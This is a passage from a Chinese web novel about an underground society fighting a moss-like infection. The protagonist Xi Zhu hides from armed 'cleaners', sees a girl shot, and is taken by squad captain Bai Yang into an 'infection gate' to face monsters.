“嗯嗯,知道了,回去吧。”哈利斯摆摆手,在门内之人闭门的一瞬间,立刻拿枪口隔出了一段距离,“你家祖上传下来的那副画儿还在吧,听说是几千年前从地表带下来的,好像还是出自名家之手!叫什么大份棋?还是达芬奇?这么稀罕的东西你拿着也不合适,我就勉为其难给你保管了哈。”
“可是!您不是说!”
“别让我再说第二遍。”
“好,哈利斯大人...”
***
“到底是什么时候被感染的?”奚渚立刻避开所有人群,一股脑朝着日塔街的小巷躲去。
她无法判断现在自己身处何处,小黑也一声不吭,奚渚只能自己飞速思考,“如果要说什么特殊情况,那么就只能是昨天晚上自己碰到过的那个女孩!”
“难道是她感染自己的吗?”但很快的,奚渚就否定了这个想法。
“在没有弄清楚感染途径是什么以前,一切都不能妄下定论。”
面前是逼仄的窄巷,家家户户紧闭门窗,看起来无比压抑。
奚渚走到一个窄巷的死角,立刻躲到了角落的破木板之后,这才稍微松了一口气。
未知的17区,未知的感染情况,未知的处置方法,让奚渚牙龈紧咬。
但同时,她也渐渐发现,自己的身体似乎除了刚开始的发热发痒外,现在已经变得毫无异常。
她立刻掀开衣袖,眼前令人震惊的是!
绿线竟然在淡化!
奚渚揉了揉眼睛,再次确认。
是真的在淡化!
“陌生姐姐,你在这里干什么?”奚渚连高兴的机会都没有,就被一个突然冲出来的小女孩打断了思绪。
她立刻放下袖子。
“姐姐,你是感染者吗?”小女孩浑身破烂,睁着一双亮晶晶的大眼睛质问道。
“我...我...”奚渚无法回答,“你会当作没看见吗?”
“不会,因为我不想撒谎。”
“那你要怎么办?”奚渚再次问道,那把刀已经被她握到了手中。
小女孩看了一眼奚渚,突然转身,双臂大张,对着窄巷入口处兴奋挥手!
“咦?姐姐你怎么了!不舒服吗?”小女孩儿立刻奔到奚渚身边,摸到了她颤-抖的双手之上。
奚渚感受着腰后硬邦邦的匕首,那是被她立刻塞回去的。自己并没有被感染!所以无需伤害任何人!
“姐姐,你要是不舒服的话,可以到我家休息一下哦。”小女孩开口道。
“不用了,我没事。”
“可是,你看起来脸色很差,就跟我亲姐姐离开时候一样。”小女孩反驳道,“是她告诉我要尽可能的帮助别人的,但她也跟我说不要给别人添麻烦,在帮助别人之前要先询问对方的意愿,所以,姐姐你愿意去我家休息吗?”
奚渚突然顿住了,如果是躲到普通居民的家里,没准儿自己更不容易被发现,而且绿线在慢慢淡化,自
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己完全可以等到绿线消失时候再出发,想到这里,她抬起头,对着面前一脸正经的小女孩道,“那麻烦你了,我休息好了就立刻离开。”
“我家就在巷口处,很近的。”小女孩解释道。
“所以,你刚才是在和家里人挥手吗?”奚渚问道。
“嗯,是姥姥先从窗子里看到你不舒服的噢,我刚才在和她报平安。”
“多谢。”奚渚再次道谢,她虽然不懂这些居民的为人处世,但从紧闭的门窗来看,接纳一个陌生人对她们来说一定是有极大的风险的。
“这里,请进。”小女孩比着手势。
屋内十分黯淡,因全屋封闭,即使是人造阳光也无法穿透其中。
“进来吧,小姑娘。”一位老人在屋内呼唤着,此人应该就是小女孩的姥姥。
奚渚抬腿走了进去,正想开口说话,老人就拄着拐从暗处走了出来。
下一秒,更令奚渚震惊的是。
老人竟然给她跪下了!
奚渚脑袋都大了,怎么一环套一环,什么都没个完!
她在对方跪到地上的瞬间,就将老人扶了起来。
老人十分执拗,“我不该这么做的,把陌生人带进来,但是,我不得不这么做!”
奚渚一头雾水。
小女孩及时走上前来,“姥姥说你身上有姐姐的味道,所以让我把你骗进来,我们没有任何恶意,只是想知道姐姐去哪儿了!”
“可是,我不认识你姐姐啊!”奚渚心道,我根本是谁都不认识!
“但是,你身上的味道绝对不会错的!姐姐她突然就离开了!已经好几年了!”小女孩说。
“味道...相似的味道!”奚渚豁然开朗,难道她们指的是感染者的味道!
一个想法猛地闯进她脑子里,可下一秒,门被突然敲响!
“清扫者检查,开门。”哈利斯站在门外,一双脸已经极尽扭曲。
什么叫得来全不费功夫?
没想到这些普通人还能有这种胆子!把该死的感染者藏到家里!
看来自己的话她们一个字儿都没听进去。
“唉,真是难管教。”哈利斯扭了扭脖子,看着面前纹丝不动的木门。
“开门,趁我还好说话的时候。”
奚渚浑身僵硬,站在屋内,她已经反应过来了!门外之人是来找自己的!
这就是处置办法,不论感染者身在何处,都会被清扫者找上门来。
“你们没必要出去,我出去就行。”奚渚对着身后吓傻了的二人道,“我不会连累你们的。”
“你能告诉我姐姐去哪儿了吗?”小女孩虽然察觉到了危险,但还是忍不住问向奚渚,对方或许是唯一知道姐姐去了哪里的人!
奚渚盯着门口,她不知道该如何回答对方的问题,“我会告诉你她在哪儿的!但不是现在!你立刻带着你姥姥躲起来!我跟你保证,我一定会告诉你的,可以吗?”
小女孩看着一脸真诚的奚渚,咬紧嘴唇点点头。
可就在女孩转身的瞬间,一枚子弹毫无预兆地射进来,正中女孩眉心。
5. 意外之事
哈利斯在门外叹了口气,“不好意思啊,手松的太快,真是的!这枪平时也没这么快啊。”
在门外震天响的枪声中,奚渚鼻尖充斥着浓重的焦酸火药味,而面前的两个身影正在缓缓倒下。
前一秒还和自己做着约定的女孩,竟在下一秒,就被活生生当成了筛子。
而罪魁祸首,竟然还在门外替自己辩解掩饰!
一股无形的愤怒充斥到了奚渚脑子里,这是她在穿越之后第一次觉得怒火中烧。
但她也很清楚,愤怒解决不了任何问题,奚渚强制自己冷静下来,“自己现在出去硬碰硬就是白送性命,清扫者手上拿着的枪在两秒内就能解决掉所有人,自己现在应该做的事情是把她们两个人立刻送到医院!”
奚渚蹲下身,开始查看二人的伤势。
血已经洇了满地,奚渚顺着伤口摸过去,子弹并没有打到二人的心脏或者脑袋。
大出血的位置应该是某个内脏。
如果及时送到医院,她们俩就能活下来!
想到这里,奚渚没有丝毫犹豫,打开门冲了出去,就在她还妄想与门外之人谈判时,哈利斯已经将枪口直直竖起,“呦,感染者。”
奚渚攥紧双手,感受着额头上硬邦邦的枪管,她在高度紧张中悄悄摸上了自己手臂,一个想法闪现在脑海。
她对着哈利斯幽幽开口,“我不是感染者,我是普通人。”
“哈?你在胡扯什么?还是说你现在正在否定我说的话?”
“我没有感染,你可以检查。”奚渚主动将双臂伸了出去。
哈利斯死死盯着奚渚的表情,没有看到一丝说谎的痕迹,但这明显不对!
清扫者所佩戴的头盔是由特殊材料制作而成,其中最关键的配置就是感染者监测系统。这也就意味着,不论感染者躲到哪里,只要她们出现在自己周围一百米的地方,那么清扫者就可以透过头盔看到一个个绿色的“幽灵”影子。
哈利斯十分确信,自己刚才走到这条巷子的一百米处时,清楚地透过一切建筑看到了一个蹲着的绿影。
但奇怪的是,那个绿影上方没有标注感染值,就连其他一些基础数据都没有显示。
这是一系列非常重要的数值,它们会决定感染者要以何种方式被进行消杀抹除。
“难道是自己的头盔坏了吗?”哈利斯并没有急着去查看奚渚的手臂,既然对方敢光明正大地伸出来,那么就说明一定是哪个环节出了问题。
而很显然,这个问题自己无法解决。
“不检查吗?”奚渚开口问道,她并不知道面前这个清扫者脑子里的弯弯绕绕,她现在只想赶快把屋内的二人送往医院。
“不需要检查。”
“为什么?”奚渚还以为是对方相信了自己,但在看到清扫者手上的动作后,她立刻否决了这个想法。
“因为你究竟有没有被感染这件事根本不重要。”哈利斯已经想通了,没必要和一个不确定因素在这里浪费时间,“重要的是我认为你感染了。”
“那么,你就得感染。”
嘭——!
哈利斯抬起枪口,头盔之后的他已是满脸怒气,他看着面前突然躲开的奚渚,似是怎么也不相信对方竟在自己枪下躲命!
奚渚吞了口口水,方才千钧一发之际,面前的子弹轨道好似放映起了慢动作,而自己也不知道哪儿来的力气,直接侧闪就躲开了。
她摸上自己侧脸,大概率是被擦伤了。
“你!你!”哈利斯顿在了原地,手里的这把枪是消杀枪,不用说碰到了,就连擦伤都会直接进行肉-体爆破。
现在的他已经不是愤怒了,而是震惊。
任谁来看,一个嚣张至极的清扫者突然愣住,结结巴巴的场面都太过诡异。
周围的人们躲在门窗之后偷偷望着,目光齐刷刷落在了诡异至极的奚渚身上。
“哈利斯!你在干什么?为什么不完成任务!”戈乌的声音在巷口响起。
随后,又两个清扫者走了进来。
一瞬间,人们都不敢再看了,他们哪里见过这么多的清扫者一起进来。
“哈利斯?”队长走到了他身前,“亲切”地拍了拍他的肩膀,可下一秒,队长的声音就不近人情地响起,“哈利斯,17区清扫者A组B队成员。因严重违反联盟规定,已上报联区,立刻进行处罚程序。”
“你!”哈利斯回过神来,立刻抬头,“我做什么违反规定的事儿了!你们才是违反规定吧!你没看见我在对付这个怪人吗?”
“立刻回去,否则我将对你强制执行程序。”队长说。
哈利斯立刻转身,他知道对方不是在开玩笑!
在临走之前,哈利斯故意绕了奚渚一圈,头盔系统立刻记录下了对方的模样。这个人,一定不同寻常!
***
“你好,你知道医院在哪儿吗?”奚渚对着戈乌问道。
戈乌透过面罩扫描着面前之人,什么异样都没有。
刚才她和队长突然中断了感染者的线索,又听到这边的枪声,这才赶过来,但没想到竟是哈利斯在射击普通人!
“不好意思,我们会给您赔偿。”戈乌解释道,“医院在日塔街27号,您哪里受伤了吗?”
奚渚立刻摇头,“我没事儿,屋内有两个人,她们需要立刻去医院,刚才她们被打伤了!”奚渚故意补了最后一句话。
戈乌似乎是经常处理同伴的烂摊子,她双眼扫视着头盔内部的屏幕,拨了一个号码,“日塔街西侧迁移区,坐标22、11、17,现在立刻需要救援。”
“什么?被抽调走了!”戈乌托着墙,开始和对方理论,“你们不能因为是迁移区求救,就不稀罕地救啊!难道你们那边想让我上报吗?”
在奚渚看来,戈乌就是一个人对着墙在手舞足蹈地絮絮叨叨。
“解决了,他们很快就会过来,你不用担心,我们会善后的。”戈乌再次开口,却突然在余光中瞟见了一个身影,她立刻支棱起来,“队长!已经解决好了!”
队长什么话也没有说,只是在不远处站着。
奚渚很确定,对方是在打量自己。
她刚才趁着情况乱成一锅粥的时候,已经检查了双臂,什么东西都没有。
但是,如果清扫者有别的办法能监测出自己“曾经”感染过,那么自己该怎么办?
直接跑吗?
但潜意识告诉奚渚,面前这个一言不发的冰块儿队长没有刚才那个傻子清扫者好摆脱。
“你是哪儿的人?”队长突然开口。
而比奚渚还震惊的竟然是戈乌,她从来没见过队长会主动和什么人说话,要知道,队长刚调任而来的当天,17区的负责人跟她说话她都没抄理!
要知道那会儿,戈乌可是一路跟随,一路赔罪!
但现在,这种宛如“春暖花开阳光和煦”的氛围是怎么回事儿,她转过身去,只看到当事人之一的奚渚也完全愣住了。
“你是在和我说话?”奚渚指了指自己。
“这里还有其他人吗?”队长说。
戈乌一声长叹,“看来我还不算人啊!”
奚渚没有说谎,因为根本没有必要,“我从地窟上来的。”
“地窟?那是什么地方?”队长问道。
奚渚一脸“你认真的吗”的表情。
一旁的戈乌立刻跳出来,找补回了队长的面子,“队长是从3区来的,不知道也很正常。”
“......”
戈乌再次解释道:“联盟17个区,分散在地下各处。其中2-9区被称为上区,10-16区被成为下区。”
“那1区呢?”
“1区被称为茵梵圣地,我们普
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通人可去不了那里哦。”
“那这里呢?”奚渚再次问道。
“啊,咱们17区就更特殊了,不仅名字没有任何特别之处,而且还有联盟独一份的地窟居民区,真是让人鹤立鸡群呢。”
“你是在吐槽吧。”奚渚说。
“我没有,我绝对没有。”戈乌立刻摆手。
“无限区。”
“什么?”
“17区被称作无限区。”队长竟然通人性地开始科普了。
“噢。”奚渚没什么感情的点点头,“医生还不来吗?”
“快了,马上。”戈乌话音未落,只见巷子口一辆自行车施施然停下,车上之人按了一下车把上的铃铛。
叮铃铃——!
“是这儿吗?怎么都看不见人啊,要不直接回去吧,就跟总部说清扫者那家伙报错坐标了。”车上之人喃喃自语。
“喂!你根本就没转头啊,医生!”戈乌立刻把医生提了进来。
“不好意思,不好意思,眼睛因为感染坏死了,看不见看不见,患者在哪儿呢?”
戈乌把女医生引到了屋内,边走边说:“看不见也能骑车啊。”
“你这是歧视残疾人,你知道吗清扫者。我那辆自行车可是千年前的地表人类发明的东西,我光是买它就花了半辈子的积蓄啊。”
“好好好,自行车好。医生,您先治疗吧。”
门外狭小的空地已经被哈利斯扫射-了个乱七八糟,奚渚和队长二人站在废墟里,相顾无言。
奚渚很想马上离开,既然自己感染解除了,那么还不如趁着这个机会溜回地窟,再作打算,反正面试也肯定泡汤了。
戈乌和医生出来的时候,就是这样一副诡异的画面。
奚渚正在偷溜,而队长依旧冰柜cos。
“那个,这位当事人,您可能还不能离开噢,需要跟我们汇报一下情况走一下程序才可以离开。”戈乌松开医生,转向奚渚方向。
“怎么汇报?”
“很简单的,只要您点头同意我扫描您的大脑就行。”
奚渚立刻转过身,“我口述不行吗?”
“不行。”戈乌立刻拒绝。
奚渚看着面前的三个人,自己如果点头同意,岂不是立刻就会被清扫者识别出自己有被感染过的情况。
自己可是记得很清楚,在那辆通路车上,那个执勤者想要直接抽取自己的记忆!
可是,如果不点头,自己岂不是疑点更重。
就在奚渚绞尽脑汁的时候,“冰柜”突然开口,“她先去医院。”
戈乌没有任何异议,她的任务就是完全听从自己的队长。
“之后会有救援箱来这里进行最后的收尾治疗。那各位长官,咱们先走一步?”医生道。
队长率先抬腿。
奚渚只能任命地跟在众人身后,“只能走一步看一步了,如果到了医院找到机会,自己就立刻溜走。”
整个迁移区灰扑扑一片,在四人移动的过程中,戈乌被医生的自行车吸引过去了。
毕竟这种史前产物,还是很让人心动的啊。
于是,不管奚渚如何放慢步伐,自己总会和那个队长走在一起。
医生不断解释着自行车的历史,奚渚则随意地听着。
她从不知道自己穿越前的东西竟然会对这里的人们有这么大的吸引力。
奚渚越来越好奇,为什么人类会迁移到地下世界?难道是发生了什么大事吗?
“白央。”有人突然开口道。
奚渚没反应过来,“嗯?”
“队长!”戈乌已经到了表情乱飞的地步,她一把把头盔摘了下来,“队长!2区和3区的您们不能对我们说真名啊,这都是为了保护您们啊!”
白央没理戈乌,态度强硬,再次对着奚渚强制性问道:“你叫什么?”
6. 苔化粒子
奚渚停在原地,转身道:“我叫奚渚。”
白央点点头,什么都没有再说,继续向着日塔街另一侧走去。
主街道上,没有普通人的身影。
入目所见,是十几个一身白衣的执勤军分立两侧,似乎是完成了什么任务。
执勤者们十分不屑地朝奚渚一行人看过来。
在他们眼里,清扫者干的活只不过是抓抓苍蝇打打蚊子,四处抓捕那些逃窜的低级感染“老鼠”。而执勤军却不一样,做的是横亘17个联区的“重要”传送任务,不论是重要政要,还是危险分子,都需要执勤军进行严密护送。
比如今天,他们就要万无一失地确保危险物被送到这里。
“白央?”突然,一处簇拥的人群中走出了一位高挑的女性,她似乎是首领一类的职责,经过众人时,大家都齐刷刷低下了脑袋颔首致意。
白央转过头,瞥了对方一眼才停下脚步。
在奚渚看来,白央似乎十分不情愿停下,但又看到对方是谁后,不得不被迫站停。
奚渚有些好奇,这个人是谁?
“任务中?”来人简单问话。
白央依旧不吭声,戈乌立刻蹦出来开始打圆场,“白儒长官您好!队长从昨天晚上开始就一直在加班,熬了一整个通宵,之后又马不停蹄地继续出任务,队长一定是太累了,所以才不想说话的!”
“是吗?”白儒的视线环绕了一圈,最后却落到了奚渚身上,那种仿佛看蚂蚁一般的傲慢表情,“你们工作吧。”
“白儒长官,您慢走啊。”戈乌对着白儒的背影用力的挥手。
“还是这么压迫感强啊,即使我看不见都能感受到咱们下区的执勤军老大,真是一如既往地让人瑟瑟发-抖呢!”医生在身旁夸张地渲染着。
“执勤军的任务是护送什么东西来往各个区吗?”奚渚有点儿好奇,如果只是这样的单一职责,显然并不会造就如此强大的压迫感。
戈乌松了手,解释道:“联区针对感染工作特别划分了三种人员。
一种是清扫者,负责清除各区的感染人类,当然是根据感染值来分别清理。
执勤军呢,除了负责17区独有的上窟检查任务外,他们的其中一项工作是从我们手中接过感染值越过50的人类,之后进行评估再有他们进行迁移传送。因为听起来比我们的工作更加高大尚,所以他们没一个不趾高气扬的。”
“传送到哪儿?难道不是所有的感染者都会被抹除吗?”奚渚心道,太多的疑问充斥在她脑子里。
正当奚渚想问再次提问的时候,戈乌似乎是觉得自己说的太多了,于是突然开始沉默。
奚渚没了办法,只能被迫将一肚子疑问咽回去。
“她们的另一项任务是将逮捕的低级感染物送往处理区。”白央冷不丁开口解释。
奚渚点点头,突然笑了一下。
从刚才就开始的那股违和感,她终于发现了。
那就是,沉默寡言的白央,会频繁且故意试探自己!
“难道是发现我被感染了?”奚渚心道。
但如果对方真的知道了此事,按照基本的消杀政策一定会直接动手。
但现在很明显白央并没有动手的意愿。
那么是否可以说明,自己身上有了意外!
而这种意外,一定是超出了清扫者的认知范围,是她们无法解决的。
对方刚才一直提到感染值,奚渚有些好奇,自己的感染值又是多少呢?
奚渚抬起头,望向几十米外面奇怪黑色悬浮建筑,一个巨大的倒三角形状立在半空,大小大约有十米之高,建筑前方摆着一座石刻的环形镂空模型,其上若影若现无数绿色纹路,十分诡异。
奚渚心中嗤笑一声——这地方就是给我准备的吧。
***
奚渚站在三人身后,开始缓缓后退。
她十分清楚逃跑的后果,但是求生的念头在奚渚心中更加旺盛。
“自己一定不是普通的感染者,她们伪装一路就是为了把自己‘安全’带到这个奇怪的建筑面前。”
即使面前是深不可测的清扫者,身后几百米开外是执勤军,奚渚也做出了一个惊人的动作。
她在瞬间得出无法逃跑的结论时候,立刻反手拔出了离自己最近的戈乌腿上的配枪,反身跃到白央身后进行威胁。
“奚渚!”戈乌立刻提起清扫枪,“放开队长!”
果然,这帮子人全是在跟自己演戏!
那些迟迟不走围在一起的执勤军大概也是在盯着自己!
大概率是在戈乌和白央在接触到自己之前就定了这样的计划!
哈利斯被迫下场是怕他口无遮拦暴露计划,立刻治疗小女孩和老人也是为了稳住自己,不让自己起疑心!
——自己到底什么情况?
“你不想救那个小女孩和老人了吗?”白央突然开口,口气平缓,“没准儿她们现在正在接受治疗。”
奚渚缓缓抬眼,她知道白央是在威胁自己。
“直接暂停治疗,杀了她们也可以吗?毕竟普通人私藏感染者这项罪名就是死罪。”白央开口威胁,“但是,只要你放开我,她们就能继续活下去。”
“你想要什么?”奚渚轻声问道。
白央一定想从自己身上得到什么东西,不然绝不会如此浪费口舌。
“我的要求非常简单,跟我一起进入背后这座建筑物。”
“里面有什么?”
“你有选择吗?奚渚。”白央转过脑袋,她知道奚渚现在一定无法对自己下手。
“我怎么确定你不是把骗进去绞杀。”奚渚知道对方说的是事实,几百米之外的那个执勤军根本不是吃素的。
只要自己一开枪,下一秒就会死无葬身之地!
白央斜睨一眼,轻轻反手握到了奚渚的手背上。
砰——!
白央直接扣下扳机,对着她自己的右手猛一下开枪。
在近距离下,奚渚清楚地看到了,白央的整只右手被打穿了。
而白央眼睛都没眨一下,似乎毫不在意。
戈乌现在已经无法接受目前的情况!
确实,之前队长要求自己在奚渚面前竭尽全力伪装。因为队长说情况有异,而且她们绝对不能伤害奚渚,只要稳住对方就行。
所以,戈乌根本没有料想到现在这个场景。
队长竟然抛弃一切武力制压,选择开枪伤害自己只为获得奚渚的信任!
“一只手换你一次信任,可以吗?”白央开口道。
奚渚和她对视着,对方没有撒谎。
她慢慢松了手,但并没有把枪还给戈乌,而是顺手放到了自己兜里。
白央活动了一下右手,“多谢你的信任。”
奚
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渚什么都没说,现在所有情况已经超出了自己预期。
她看向几十米外的那个建筑物,看来不去不行了。
“队长!”戈乌在身后拽着医生大喊,“队长!您的手需要立刻进行处理,不能这么进去啊!”
白央充耳未闻,抬腿跨上了那座奇怪建筑前方的扭曲阶梯。
“她们真的要进去吗?那里面可怕的很啊!”医生躲在戈乌身后,瑟瑟发-抖。
戈乌死死盯着奚渚的背影,突然开始联系什么人。
***
“有什么感觉吗?”白央在自行给自己包扎着。
奚渚不懂这句话是什么意思,但还是回答了,自己既然答应了对方的要求,那么就没必要再藏着掖着,“没什么感觉。”
在她身后的白央嗯了一声,从制服中掏出了医疗绷带,潦草地对着自己的右手裹了裹。
随即在奚渚完全看不到的头盔之下的白央,露出了一个十分奇怪的微笑。
“有感觉的时候跟我说。”白央道。
“......”
奚渚没再搭理她,开始观察面前这座看起来就异常万分的建筑物,很像自己穿越前在科幻电影中看到的奇怪飞船。
“你把我带到这儿不就是认定我已经是感染者了吗?我现在实话跟你说了。但是如果你要就地处决我的话,我一定会比你更快动手。”奚渚说。
白央点头道:“我知道你动作会更快。你有更重要的用处,现在死了未免太过可惜。”
话音未落,白央紧了紧自己的头盔,包括她全身的制服,似乎在查看所有可能会出现的缝隙位置。
奚渚就这么衣衫破烂地看着对方一顿收拾,“那我呢?”
“你没事儿,直接进就行。”
“你怎么知道我没事儿?你裹得这么紧不就意味着里面很危险吗?”
“我再问一遍,你现在能感受到什么吗?”白央问道。
奚渚深呼一口气,什么异常都没有,甚至自己都比刚才神清气爽,“没感受,很正常。”
“这就是原因,还需要解释吗?”
奚渚点点头,“需要。”
白央将激光枪支到地面,缓缓开口,“我一个普通人,现在光是站在这座建筑物外边,就已经头痛欲裂想直接开枪杀了自己。
正如你心里想的,你不是普通的感染者。
你,在这种环境下几乎免疫。
强烈的霉菌味道四散在周围,它们无孔不入,感染值也高到离谱。
我现在只要脱下头盔呼吸一口,立刻就会浑身脓变,突变为非人的异种怪物。”
“突变?跟感染数值有关?”奚渚立刻反问,感染值的高低才是最关键的东西!
“没错,感染值越高越容易突变,不过这只是一方面。苔化感染,已经持续了几百年。这几百年间,联盟不断深-入调查感染出现的原因和后果,但也仅仅只是知晓冰山一角。
其中包括,所有感染者会不自觉地释放出苔化粒子,这种苔粒子如果不及时进行消杀清除,就会造成全境感染的危险情况。”
“所以,咱们进去就只是要处理苔粒子。”奚渚确认道。
“消除,绞杀,歼灭。”白央抬起头来,一字一句道:“应该是这样残酷的词语。因为我们遇到的不会是飘在半空‘人畜无害’的绿色苔粒子,而是那些粒子形成的各种感染怪物。”
7. 感染门
“你的意思是说,人类会因感染而释放苔粒子,苔粒子又会进一步形成感染物。”奚渚总结道。
“没错,一种几乎无解的死循环。”
“所以就我们两个普通人,赤手空拳进去解决这种怪物吗?”奚渚问道。
“你是普通人吗?”白央毫不留情戳穿道。
“所以,我是什么?”奚渚抬起头来,“你们既然费劲心思把我带到这里,那是否意味着我也是...怪物。”
白央没有拐弯抹角,直接解释道:“你是不是怪物?你是何种程度的怪物?你是否对联盟有用?你的用处又有多大?你是否忠诚?你是否会被绞杀?你是否值得继续活下去?你是否会被投入特别任务 ?这都是他们要得出的结论。
你唯一的能做的,就是跟我一起进去,这也是你唯一能活下去的办法。
我说过了,你很珍贵。但是,你更加危险,在他们没有作出判断之前,你的一切都是未知。”
奚渚自然明白了对方口中所说的“他们”是什么意思,无非是在上区安坐的那些人人。
自己十分抵触这种命运交于他人选择的状况,但为了弄清楚自身的来龙去脉,只能暂时将一切都将依托于这个三角建筑之内。
“你说的他们,会对我如何进行评判?”奚渚问道。
“这座三角建筑又被称为感染门,门内有着执勤军严密传送而来的低级实验感染物,这些低级品种主要用作三-大部门的日常训练。而同样的,他们会依据这头低级感染物反过来对你进行评估。”
“如果要对付那些东西,难道不需要配备什么高科技武器吗?”奚渚看向自己空空如也的双手。
白央解释道:“这是他们的特别要求,不允许你配备任何武器,但是那把枪你可以带进去。”
“好好好,真就是让我拼命啊。”奚渚心道。
“你经验很多吗?”奚渚话音一转,她有点儿好奇白央为什么会跟着自己进去,因为这种任务显然不是一个上区人会冒险进行的。
“还好吧。”白央没什么兴致回答这个问题。
“感染怪物长什么模样呢?”奚渚说。
“被粒子造就的感染物的外形没有任何规律可言,可能是极尽扭曲的外表,但也可能是人类的模样。”
“噢,那是谁发现的呢?第一个感染物。”
白央转过身,面前的奚渚浑身破烂,跟个流浪汉差不多。
但奚渚不知道的是,自己可以透过头盔,清楚地观察到她脑内各项数值的波动。
这些机密程序对戈乌这类的乙类兵种是没有开放权限的。
因此,在这里,只有白央能够观察到奚渚周围那些数量庞大且在极速膨胀的苔粒子。
那些粒子在奚渚到达感染门的瞬间,就蹿到了她的周围,可谓无孔不入。
白央叹了口气,脱下自己最外层的制服外套,向奚渚问道:“你是不是在这儿拖延时间,不想进去。”
奚渚也没客气,直接接过来就穿上了,毕竟包裹紧一点,对自己来说还是更有安全感,“你格局小了,我是在很认真的思考该怎么逃跑。”
“......”
“要进了。”白央叹了一口气,“我会先进去,如果发生了不可控的意外情况,你直接跑就行。”
“你们抓回来的感染物还会发生不可控意外?”奚渚问道。
“还是说你们只是负责抓,根本处理不了,所以才让我进去送死。”
“十秒后,开启感染门进入三角感染区,此次任务为E级别。进入感染门者两名:17区清扫者白央以及普通居民奚渚。”白央官方地不知道跟谁汇报着。
汇报结束后,白央特别转过身,对着奚渚道:“如果我死了,你不用管我,直接跑就行。”
“我跑了不算抛弃队友吗?”奚渚看着脊背突然紧绷的白央,随口问道。
“不算。”白央盯着建筑物,一脸冷漠,“但是,如果你死了,我会直接宣布任务失败,你会被直接抹杀,而跟你交涉过的任何人类都会被清除掉。”
奚渚咽了一口口水,盯着面前徐徐开启的感染门。
“走吧。”白央率先迈步。
一瞬间,她整个人就被无数苔粒子完全吞噬淹没。
奚渚攥紧双手,大步迈入。
——无论如何,自己都不能死!
***
“有点奇怪。”奚渚在一片绿雾中睁开眼,她能清楚地感受到粒子在周身环绕和吐息。
“感受到了吧,它们的异常波动。”白央已经走到了前方。
“它们现在正在空气中平缓波动,而强度最高的地方距离我们很远。”奚渚如实说着脑海中感受到的东西。
直到此刻,面前无尽的绿雾散开,奚渚才清楚看到了周围的环境。
一望无际的岩礁洼地,昏暗至极。唯有无数苔粒子在频频微闪,像呼吸一般,四处飘散。极远处巨大的枯树在唰唰轻摇,宛如怪鸟一般的惨叫响彻耳边。奚渚盯着面前完全陌生的怪异世界,起了一身鸡皮疙瘩。
“能形容出什么样子的感染物吗?”毕竟这些东西的真实模样是他们清扫者也无权知道的,白央站在洼地一角,奇怪地皱着眉。
“感觉不出来。”奚渚循着无数粒子飘散的方向感应着,“现在这里还是17区吗?”
白央没有摇头,更没有点头。面前的环境完全不对劲,根据上级传送的文件来看,自己进入的三角感染区跟书面上描述的完全不同。
难道是因为奚渚的突然出现,导致感染区刷新了吗。
“感染门是由联盟所创造的甲级消杀武器,是关押被抓捕的感染物的地方。
通过感染门,我们会进入各个未知的感染区。
因感染物无法轻易被消除,所以它们会自行具现化出各种扭曲异常的感染地域。而这些地方本来是有规律的,但现在看来,应该是完全被打乱了。”
奚渚抬起头,“也就是说,我们这次所面临的感染物是完全陌生的。”
“没错,甚至可能不是E级。”白央点头承认。
“既然无法轻易消除,那我们要如何解决它们?”奚渚问道。
“根据等级不同,感染物绞杀的方法也不尽相同。”白央呼出一口气,这种环境对于她来说,压迫太强,“联盟将感染物分为X、S、A、B、C、D、E七级。
X与S级已经几百年都没出现过。
A、B级不会主动伤人,但危险程度非常之高。因此它们的清除任务不属于清扫者,而属于对AB级猎人7组。
C、D两级需要拿特别武器进行消杀,确保感染物的肉-体的被完全清除,不能留下一丝残渣,否则依旧有致命
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的风险。
E级则需要特别收容,这意味着E级不会被杀反而会被关起来。
但是,这并不意味着E级就没有危险,对于人类来说,它们依旧致命。相反,E级的数量也是最多的。”
“所以,C、D级要什么武器进行消杀?”奚渚突然问道。
“我们并不会随身携带,所以意味着现在手里没有那种武器。”白央皱眉道,因为这次的任务是E级,本就不需要带特别武器。
“意思是只能肉搏了。”奚渚盯着不远处,一双眼专注至极,发丝在无数粒子中轻颤,她能清楚感受到某种预兆,“有东西来了。”
白央转身立刻开口,“这次的任务出现了意外,我需要先判断是否要暂停。”
“我能理解为是‘现在很危险’的意思吗?”奚渚抽空问道。
白央有些看不懂奚渚的样子,尤其是现在对方蠢蠢欲动的表情和紧绷的后颈,“什么级?”她确信奚渚感受到了。
“B级。”
白央瞪大了眼睛,她以为最高也只会波动到D级,为什么会直接跨越三-级感染,“那你为什么要问C、D级的处理办法?”
“随便问的,因为看你解释太辛苦了。”
“你干什么去?”白央看到奚渚突然起身。
“去找感染物啊。”奚渚解释道。
白央立刻反对,“B级不是我们的工作,如果此事为真,我会立刻宣布任务结束,你无需担心,在下次任务到达之前你依旧可以活下去,只不过需要被全天监视。”
“......”
“你不同意?”白央看着奚渚毫无变化的表情,“你想接触它们?”
奚渚莞尔一笑。
“你想接触它们,然后解决掉我?”白央突然读懂了奚渚的表情。
奚渚一双黑眼睛睁得越来越大,“不,我要你宣布我在这次任务中成功完成了你们的目标。”
白央攥紧了拳头,自己看错人了!
面前的奚渚绝不是什么温顺的羔羊,而是一头极度伪装的独狼,“我不会对任务结果进行任何造假。”
“你会的。”奚渚肯定道,“你不仅会,而且还会包庇我。”
白央再次疑惑,“我绝不会...!你!B级感染物和你交流了是吗!”此刻白央无比确信,B级中确实有这样能力的感染物!
“对啊,你说的嘛,我可以感受到一切。”奚渚垂眼解释着,“它一直在跟我说话,跟我说什么替它杀了面前这个清扫者,就能让我直接出去。
所以,我现在给你机会,你立刻跟你脑子里的那些东西说我完成了你们的任务。”
白央咬着嘴唇,“我不接受。”
“为什么?”奚渚疑惑问道,“这对你应该是最优的选择吧。”
“选择吧,择吧,吧...”突然,洼地之下探出一双枯白的手来,“为什么,什么,么...”
奚渚立刻将白央拽到一边。
——出来了!引出来了!
那双手还在向上扭曲蔓延!
它破开坚硬的洼地,无数裂缝猛地出现在二人脚下,粒子在飞速变幻,一呼一吸间。
奚渚察觉到自己的右脚被什么东西给抓住了。
她反手推开白央,立刻大喊:“B级,两只!”
白央瞬间起了一身鸡皮疙瘩!
8. 百年前的学校(一)
“你刚才是故意那么说的?”白央看向挡在自己身前的奚渚。
奚渚点了点头,“我总得找个办法把它引出来。你不会真的以为我要杀你吧,我又不傻。”
“人类,人类,人类…”那双惨白的双手在持续缠绕,宛如拧麻花一般扭成了一条巨大的白色绞虫。它没有任何停顿,立刻朝着奚渚和白央冲去,在距离的二人一厘米的地方唰一下截停,持续重复呢-喃道,“吃掉,吃掉,吃掉…”
